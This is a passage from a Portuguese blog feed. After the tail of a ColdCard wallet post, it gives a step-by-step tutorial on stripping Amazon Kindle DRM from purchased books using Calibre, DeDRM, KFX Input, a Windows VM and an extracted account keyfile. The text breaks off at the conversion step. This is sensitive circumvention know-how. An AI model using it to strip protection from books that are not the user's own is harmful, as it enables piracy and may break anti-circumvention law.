<p>Eu já movi meus fundos da ColdCard antiga. Na prática, se você tem qualquer ColdCard, faça o mesmo. Não existe prêmio por descobrir tarde demais que seu caso também tinha uma exceção não documentada.</p>
<p>Escolha a nova arquitetura com os critérios acima. Gere uma raiz completamente nova. Misture entropia independente de verdade. Teste o backup. Confira os endereços. Mova tudo.</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>seguranca</category><category>hardware</category></item><item><title>Removendo DRM de ebooks de Kindle em 2026</title><link>https://www.akitaonrails.com/2026/07/30/removendo-drm-de-ebooks-de-kindle-em-2026/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/07/30/removendo-drm-de-ebooks-de-kindle-em-2026/</guid><pubDate>Thu, 30 Jul 2026 18:00:00 GMT</pubDate><description>&lt;p&gt;Sou cliente da Amazon há tempo demais. Compro livros no Kindle há muitos anos, tenho vários aparelhos e continuo achando péssima a maneira como a empresa trata conteúdo digital.&lt;/p&gt;
&lt;p&gt;Você paga pelo livro, mas só consegue ler onde a Amazon deixa. Não existe um aplicativo nativo decente pra Linux. Mudar pra outro leitor vira um exercício de arqueologia. Comprei um Xteink X4 novo e, claro, minha biblioteca não podia simplesmente ir junto. O arquivo estava &amp;ldquo;na minha conta&amp;rdquo;, mas não estava sob meu controle.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Sou cliente da Amazon há tempo demais. Compro livros no Kindle há muitos anos, tenho vários aparelhos e continuo achando péssima a maneira como a empresa trata conteúdo digital.</p>
<p>Você paga pelo livro, mas só consegue ler onde a Amazon deixa. Não existe um aplicativo nativo decente pra Linux. Mudar pra outro leitor vira um exercício de arqueologia. Comprei um Xteink X4 novo e, claro, minha biblioteca não podia simplesmente ir junto. O arquivo estava &ldquo;na minha conta&rdquo;, mas não estava sob meu controle.</p>
<p>Durante anos, eu contornei isso pelo caminho oficial. Entrava no site da Amazon, usava <strong>Download &amp; Transfer via USB</strong>, baixava o <code>.azw</code> dos livros que comprei e importava tudo no <a href="https://calibre-ebook.com/about"target="_blank" rel="noopener">calibre</a>. Com o plugin DeDRM configurado pro serial do meu Kindle, convertia pra EPUB e pronto.</p>
<p>Em <strong>26 de fevereiro de 2025</strong>, a Amazon <a href="https://www.vice.com/en/article/amazon-is-killing-your-ability-to-download-kindle-books-next-week/"target="_blank" rel="noopener">desativou essa opção</a>. Sem anúncio decente, sem substituto que entregasse o arquivo e sem qualquer preocupação com quem queria manter um backup local. Desde então, meus livros mais novos ficaram presos no ecossistema deles. Voltei a tentar no ano passado, atualizei plugin, copiei arquivos do meu Kindle Paperwhite, coloquei o serial correto e nada.</p>
<p>Pra ser justo, em <strong>20 de janeiro de 2026</strong> a Amazon passou a permitir que compradores verificados baixem EPUB ou PDF quando o publisher <a href="https://kdp.amazon.com/pt_BR/help/topic/GDDXGH9VR22ACM8U"target="_blank" rel="noopener">confirma o livro como DRM-free</a>. Ótimo. Só não resolve os livros protegidos, e a decisão continua nas mãos da editora. Títulos antigos sem DRM também precisam ser confirmados individualmente pelo publisher. Minha biblioteca não ganhou botão de download por causa disso.</p>
<p>Resolvi tentar de novo agora. A versão nova do DeDRM conseguiu lidar com o DRM atual, mas o processo mudou bastante. Dá trabalho, precisa de Windows numa das etapas e envolve uma ferramenta comunitária em pre-release. Funcionou. Recuperei <strong>106 livros comprados</strong>, testei a conversão pra EPUB e agora posso ler no aparelho que eu quiser.</p>
<p>Este é o estado do jogo em <strong>30 de julho de 2026</strong>. A Amazon pode mudar a criptografia ou o aplicativo amanhã. Não conte com tutorial antigo dizendo pra instalar Kindle for PC 1.17, desabilitar update e colocar o serial do aparelho no Calibre. Esse mundo já acabou.</p>
<p>E o óbvio precisa ser dito: estou falando dos livros que <strong>eu comprei</strong>. Não estou falando de baixar Kindle Unlimited, empréstimo de biblioteca ou livro dos outros. Leis sobre circumvention de DRM variam por país. Pesquise a legislação de onde mora e assuma responsabilidade pelo que faz.</p>
<h2>Antes de tudo: não jogue Kindle velho fora<span class="hx:absolute hx:-mt-20" id="antes-de-tudo-não-jogue-kindle-velho-fora"></span>
    <a href="#antes-de-tudo-n%c3%a3o-jogue-kindle-velho-fora" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Amazon também não facilita reaproveitar Kindle antigo. O hardware continua bom, a bateria costuma ser substituível, a tela de e-ink dura uma eternidade, mas o software vai ficando cada vez mais fechado e limitado.</p>
<p>Pra quem quer ressuscitar esses aparelhos, recomendo o canal <a href="https://www.youtube.com/@DammitJeff"target="_blank" rel="noopener">Dammit Jeff</a>. Ele acompanha jailbreaks, KOReader, lojas alternativas e formas de manter Kindles úteis depois que a Amazon perde o interesse. Este vídeo sobre o <a href="https://www.youtube.com/watch?v=l4ZliC82RtA"target="_blank" rel="noopener">AdBreak e os jailbreaks recentes</a> é um bom começo. Leia também o <a href="https://kindlemodding.org/"target="_blank" rel="noopener">guia atualizado do Kindle Modding</a> antes de fazer qualquer coisa, porque firmware e método compatível mudam o tempo todo.</p>
<p>Jailbreak do aparelho e remoção de DRM do ebook são problemas diferentes. Você não precisa desbloquear o Kindle pra seguir o resto deste artigo. Estou mencionando porque ambos partem da mesma ideia: hardware e mídia que já pagamos deveriam continuar úteis sem pedir bênção eterna ao fabricante.</p>
<h2>Crash course: AZW, EPUB e KFX<span class="hx:absolute hx:-mt-20" id="crash-course-azw-epub-e-kfx"></span>
    <a href="#crash-course-azw-epub-e-kfx" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>DRM e formato de arquivo não são a mesma coisa. O formato diz como texto, imagens, fontes, índice e metadados são empacotados. DRM adiciona uma trava criptográfica por cima e decide qual conta, aplicativo ou aparelho consegue abrir aquilo.</p>
<p>Os três nomes que importam aqui são:</p>
<table>
  <thead>
      <tr>
          <th>Formato</th>
          <th>O que é</th>
          <th>Na prática</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>AZW / AZW3</strong></td>
          <td>Família mais antiga de formatos proprietários do Kindle. AZW3 também é conhecido como Kindle Format 8.</td>
          <td>Era o que normalmente vinha pelo antigo download via USB. Ferramentas e leitores alternativos entendem bem depois de remover o DRM.</td>
      </tr>
      <tr>
          <td><strong>EPUB</strong></td>
          <td>Padrão aberto da W3C. É um pacote único com conteúdo baseado em HTML, CSS, SVG, fontes e metadados.</td>
          <td>É o formato mais portátil pra guardar e ler fora do ecossistema Amazon. É o destino que quero.</td>
      </tr>
      <tr>
          <td><strong>KFX</strong></td>
          <td>Formato moderno de entrega da Amazon, usado pra recursos como Enhanced Typesetting e Page Flip. Um livro comprado pode vir dividido entre vários containers, recursos auxiliares e um voucher de DRM.</td>
          <td>É o que o aplicativo Kindle atual baixa. Precisamos reunir as partes, remover o DRM e só depois converter.</td>
      </tr>
  </tbody>
</table>
<p>A extensão sozinha pode enganar. Parte de um livro KFX pode aparecer como <code>.azw</code>, <code>.azw.res</code>, <code>.voucher</code> e outras variações. O plugin <a href="https://www.mobileread.com/forums/showthread.php?t=291290"target="_blank" rel="noopener">KFX Input</a> existe justamente pra entender esse conjunto.</p>
<p>O EPUB é bem menos misterioso. A <a href="https://www.w3.org/TR/epub-33/"target="_blank" rel="noopener">especificação EPUB 3.3</a> o define como um container de arquivo único pra conteúdo Web estruturado. É basicamente um pequeno site empacotado. Qualquer leitor minimamente decente consegue implementar suporte sem depender de uma chave secreta da Amazon.</p>
<h2>Calibre e os dois plugins<span class="hx:absolute hx:-mt-20" id="calibre-e-os-dois-plugins"></span>
    <a href="#calibre-e-os-dois-plugins" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://calibre-ebook.com/"target="_blank" rel="noopener">calibre</a> é o canivete suíço de ebooks. É software livre, roda em Linux, macOS e Windows, organiza biblioteca, baixa metadados, edita capas, transfere livros e converte dezenas de formatos. Existe desde 2006 e nasceu justamente porque o primeiro Sony Reader não funcionava direito no Linux.</p>
<p>No Omarchy ou qualquer Arch, basta instalar o pacote:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S calibre</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Em outras distribuições, veja o <a href="https://calibre-ebook.com/download"target="_blank" rel="noopener">download oficial</a>. Não invente de instalar um pacote aleatório de site de downloads.</p>
<p>Uma pegadinha específica de ambientes com <code>mise</code>: se o Calibre morrer com <code>ModuleNotFoundError: msgpack</code> ou <code>BrokenPipeError</code>, provavelmente um shim de Python entrou antes de <code>/usr/bin</code>. O pacote do Arch precisa do Python do sistema. Inicie assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">env <span class="nv">PATH</span><span class="o">=</span><span class="s2">&#34;/usr/bin:</span><span class="nv">$PATH</span><span class="s2">&#34;</span> /usr/bin/python3 /usr/bin/calibre</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso não tem relação com DRM nem com os plugins. É só o helper do Calibre chamando o Python errado. No meu desktop deixei um launcher permanente com esse <code>PATH</code>.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/30/kindle-dedrm/calibre-library-epub.webp" alt="Minha biblioteca no Calibre, com um livro já convertido e disponível em AZW3 e EPUB."  loading="lazy" /></p>
<p>O Calibre sozinho não remove DRM. Precisamos de dois plugins:</p>
<ol>
<li><strong>DeDRM</strong> reconhece e remove as travas de vários ecossistemas durante a importação. Ele só roda quando o livro entra na biblioteca. Clicar em Convert depois não remove nada.</li>
<li><strong>KFX Input</strong> entende os containers modernos da Amazon, reúne as partes de um livro e permite converter o resultado pra EPUB.</li>
</ol>
<p>No momento deste artigo, estou usando <strong>DeDRM 10.0.28</strong>, publicado em 14 de julho no <a href="https://github.com/Satsuoni/DeDRM_tools/releases/tag/v10.0.28"target="_blank" rel="noopener">fork mantido por Satsuoni</a>. É um pre-release. Baixe o asset chamado <code>DeDRM_tools.zip</code>, nunca um executável solto de algum mirror obscuro.</p>
<p>Eu descompactei tudo numa pasta que depois fica compartilhada com a VM Windows:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">mkdir -p ~/Windows/Kindle-DeDRM/v10.0.28
</span></span><span class="line"><span class="cl">unzip ~/Downloads/DeDRM_tools.zip -d ~/Windows/Kindle-DeDRM/v10.0.28</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O SHA-256 do <code>DeDRM_tools.zip</code> que usei foi:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">520cce704edf9ae26e43196efe2871daf9b25d6cb489aa56051626801c362947</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Confira com <code>sha256sum</code>. Isso não transforma um binário comunitário em software magicamente seguro, mas pelo menos garante que está usando o mesmo arquivo que eu testei.</p>
<p>Dentro da pasta existe <code>DeDRM_plugin.zip</code>. <strong>Não descompacte esse segundo ZIP.</strong> No Calibre, abra <strong>Preferences → Plugins → Load plugin from file</strong>, escolha <code>DeDRM_plugin.zip</code>, aceite o aviso e reinicie o programa.</p>
<p>Depois volte em <strong>Preferences → Plugins → Get new plugins</strong>, procure por <strong>KFX Input</strong> e instale. Meu teste usou a versão <strong>2.33.0</strong>. Reinicie de novo.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/30/kindle-dedrm/calibre-plugins-dedrm-kfx.webp" alt="Calibre 9.11 com DeDRM 10.0.28 e KFX Input 2.33.0 instalados."  loading="lazy" /></p>
<h2>Por que copiar do Kindle pelo USB não resolveu<span class="hx:absolute hx:-mt-20" id="por-que-copiar-do-kindle-pelo-usb-não-resolveu"></span>
    <a href="#por-que-copiar-do-kindle-pelo-usb-n%c3%a3o-resolveu" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O caminho mais simples ainda seria ligar meu Kindle Paperwhite novo no cabo, copiar o livro e configurar o serial do aparelho no DeDRM. Foi o primeiro teste que fiz.</p>
<p>O arquivo entrou como <code>KFX-ZIP</code>, o plugin rodou, mas continuou criptografado. Abri o Calibre em debug e o log mostrou que esse livro usava a estratégia <code>ACCOUNT_SECRET</code>. O serial estava certo. O problema é que a chave necessária não vinha mais apenas do aparelho.</p>
<p>É por isso que muita gente segue tutorial antigo, tenta cinco serial numbers diferentes e conclui que o DeDRM está quebrado. Pra livros novos com esse DRM, precisamos do segredo que o aplicativo Kindle atual guarda no Windows. E esse segredo é protegido pelas APIs do TPM.</p>
<h2>Um Windows descartável dentro do Omarchy<span class="hx:absolute hx:-mt-20" id="um-windows-descartável-dentro-do-omarchy"></span>
    <a href="#um-windows-descart%c3%a1vel-dentro-do-omarchy" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu não vou manter dual boot só pra baixar ebook. Também não vou fingir que Wine roda tudo. Felizmente, o Omarchy <a href="https://learn.omacom.io/books/2/pages/100"target="_blank" rel="noopener">já vem preparado pra instalar e abrir uma VM Windows</a>: ela aparece no próprio menu do sistema, abre por RDP e compartilha <code>~/Windows</code> automaticamente com o guest. Não precisei montar essa integração do zero.</p>
<p>Por baixo, ele usa o <a href="https://github.com/dockur/windows"target="_blank" rel="noopener">dockur/windows</a>. O dockur empacota QEMU/KVM num container e automatiza a instalação do Windows. Continua sendo uma máquina virtual de verdade, com disco e kernel próprios. O container só organiza a distribuição, configuração e ciclo de vida.</p>
<p>Pra instalar pelo terminal, rode:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">omarchy-windows-vm install</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Escolha RAM, CPUs e tamanho do disco. O instalador cria <code>~/.config/windows/docker-compose.yml</code>, guarda o disco virtual em <code>~/.windows</code> e compartilha <code>~/Windows</code> com o guest. Dentro do Windows, essa pasta aparece como <strong>Shared</strong>, normalmente em <code>Z:</code>, e também fica acessível por <code>\\host.lan\Data</code>.</p>
<p>O detalhe que fez diferença no meu caso foi habilitar <strong>TPM 2.0</strong>. Edite o Compose gerado e acrescente <code>TPM: &quot;Y&quot;</code> no bloco <code>environment</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">windows</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">dockurr/windows</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">VERSION</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;11&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">TPM</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;Y&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Depois recrie o container. O disco do Windows continua no volume persistente:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">omarchy-windows-vm stop
</span></span><span class="line"><span class="cl">omarchy-windows-vm launch -k</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O <code>-k</code> deixa a VM ligada quando você fechar o RDP. Também dá pra acompanhar pelo navegador em <code>http://127.0.0.1:8006</code>.</p>
<!-- Screenshot pendente: Windows 11 do dockur aberto pelo Omarchy. -->
<h2>Baixando os livros pelo aplicativo certo<span class="hx:absolute hx:-mt-20" id="baixando-os-livros-pelo-aplicativo-certo"></span>
    <a href="#baixando-os-livros-pelo-aplicativo-certo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Dentro do Windows, abra a Microsoft Store e instale <strong><a href="https://apps.microsoft.com/detail/9p8jq0jjstll"target="_blank" rel="noopener">Amazon Kindle: Reading App</a></strong>, produto <code>9P8JQ0JJSTLL</code>.</p>
<p>Preste atenção aqui. O instalador antigo de Kindle for PC encontrado em blogs não é o mesmo aplicativo. A ferramenta que usei procura o pacote <code>AMZNKindle.AmazonKindleReadingApp</code> da Microsoft Store. Com o programa legado, ela simplesmente responde <code>No AmazonKindleReadingApp installation found</code>.</p>
<p>Entre na sua conta e mande baixar localmente cada livro que quer preservar. Abrir a capa ou ver o título na biblioteca não basta. O conteúdo precisa estar disponível offline dentro do app.</p>
<p>Infelizmente, a parte mais chata continua manual. A Amazon sabe colocar botão de compra com um clique, mas não achou espaço pra um &ldquo;baixe tudo que eu já paguei&rdquo;.</p>
<p>Eu fiz isso em 106 livros. Sim, foi um saco.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/30/kindle-dedrm/kindle-store-library.webp" alt="Aplicativo Kindle da Microsoft Store com os ebooks baixados na biblioteca local."  loading="lazy" /></p>
<h2>Gerando os KFX-ZIP e a chave K4I<span class="hx:absolute hx:-mt-20" id="gerando-os-kfx-zip-e-a-chave-k4i"></span>
    <a href="#gerando-os-kfx-zip-e-a-chave-k4i" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <code>DeDRM_tools.zip</code> que descompactamos no Linux já está visível no Windows por causa da pasta compartilhada. Abra PowerShell e entre nela:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">cd </span><span class="p">\\</span><span class="n">host</span><span class="p">.</span><span class="n">lan</span><span class="p">\</span><span class="n">Data</span><span class="p">\</span><span class="nb">Kindle-DeDRM</span><span class="p">\</span><span class="n">v10</span><span class="p">.</span><span class="py">0</span><span class="p">.</span><span class="py">28</span>
</span></span><span class="line"><span class="cl"><span class="p">.\</span><span class="n">MSIXKFXArchiverMobi1_18632</span><span class="p">.</span><span class="n">exe</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O banner ainda pode mencionar uma build antiga <code>1.0.15230</code>. O executável versionado acima procura a Store app <code>1.0.18632</code> e foi o que funcionou comigo.</p>
<p>Esse executável localiza o cache da versão atual da Microsoft Store, reúne os componentes de cada livro e gera duas coisas:</p>
<ul>
<li><code>archived_kfx/</code>, com um <code>.kfx-zip</code> pra cada ebook baixado;</li>
<li><code>oldbooks.k4i</code>, o keyfile que o DeDRM precisa pra abrir aqueles arquivos.</li>
</ul>
<p>Na minha máquina, o processo encontrou e arquivou <strong>106 livros</strong>. O SHA-256 do executável que rodei foi:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">0c78b45ccea2c36a5fbb01b9f66bdd9e5d5960a68a340ba2ee96e138f5cddf4a</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ele é um binário de 32 bits. Se reclamar que falta <code>MSVCP140.dll</code>, instale o <a href="https://aka.ms/vc14/vc_redist.x86.exe"target="_blank" rel="noopener">Microsoft Visual C++ Redistributable x86 oficial</a>. Não procure DLL avulsa no Google. Esse é um ótimo jeito de transformar backup de livro em backup de malware.</p>
<p>O <code>oldbooks.k4i</code> é sensível. Ele deriva do segredo da sua conta naquela instalação do Kindle. Não publique, não mande em issue do GitHub, não tire screenshot do conteúdo e não coloque em repositório aberto.</p>
<!-- Screenshot pendente: PowerShell após o archiver gerar archived_kfx e oldbooks.k4i. -->
<h2>Configurando a chave no DeDRM<span class="hx:absolute hx:-mt-20" id="configurando-a-chave-no-dedrm"></span>
    <a href="#configurando-a-chave-no-dedrm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>De volta ao Linux, abra o Calibre e siga:</p>
<p><strong>Preferences → Plugins → DeDRM → Customize plugin → Kindle for Mac/PC ebooks → Import Existing Keyfiles</strong></p>
<p>Selecione:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">~/Windows/Kindle-DeDRM/v10.0.28/oldbooks.k4i</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Use <strong>Import Existing Keyfiles</strong>. Não use o botão genérico <strong>Set Keyfile</strong> da tela principal. Ele grava outro tipo de candidato e não cadastra a chave K4I no lugar certo.</p>
<p>Feche a lista de chaves, clique em <strong>OK</strong> na configuração principal e reinicie o Calibre. Se fechar com Cancel, ele joga a alteração fora sem cerimônia.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/30/kindle-dedrm/calibre-dedrm-key.webp" alt="DeDRM com o keyfile oldbooks importado na lista de chaves do Kindle for Mac/PC."  loading="lazy" /></p>
<h2>Importando e convertendo pra EPUB<span class="hx:absolute hx:-mt-20" id="importando-e-convertendo-pra-epub"></span>
